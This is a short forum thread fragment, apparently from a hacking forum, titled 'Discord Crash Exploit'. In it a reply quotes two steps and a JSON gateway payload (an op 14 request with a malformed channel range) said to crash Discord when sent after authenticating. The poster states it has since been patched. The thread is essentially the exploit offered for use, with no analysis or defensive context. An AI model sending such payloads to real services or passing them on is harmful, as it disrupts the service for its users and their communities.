This is what I found from a quick google search. It's been patched now:
"1. Connect to the gateway and authenticate
2. Send this payload through the socket:
{"op":14,"d":{"guild_id":"ID of the server here","channels":{"ID of a text channel where u have permission to view it":[[0,-1]]}}} "
Webmaster Security
Discord Crash Exploit
Submitted by Nova, 09-08-2021, 02:26 PM, Thread ID: 215680
Thread Closed
RE: Discord Crash Exploit 09-12-2021, 05:32 PM #5
09-12-2021, 05:32 PM
#5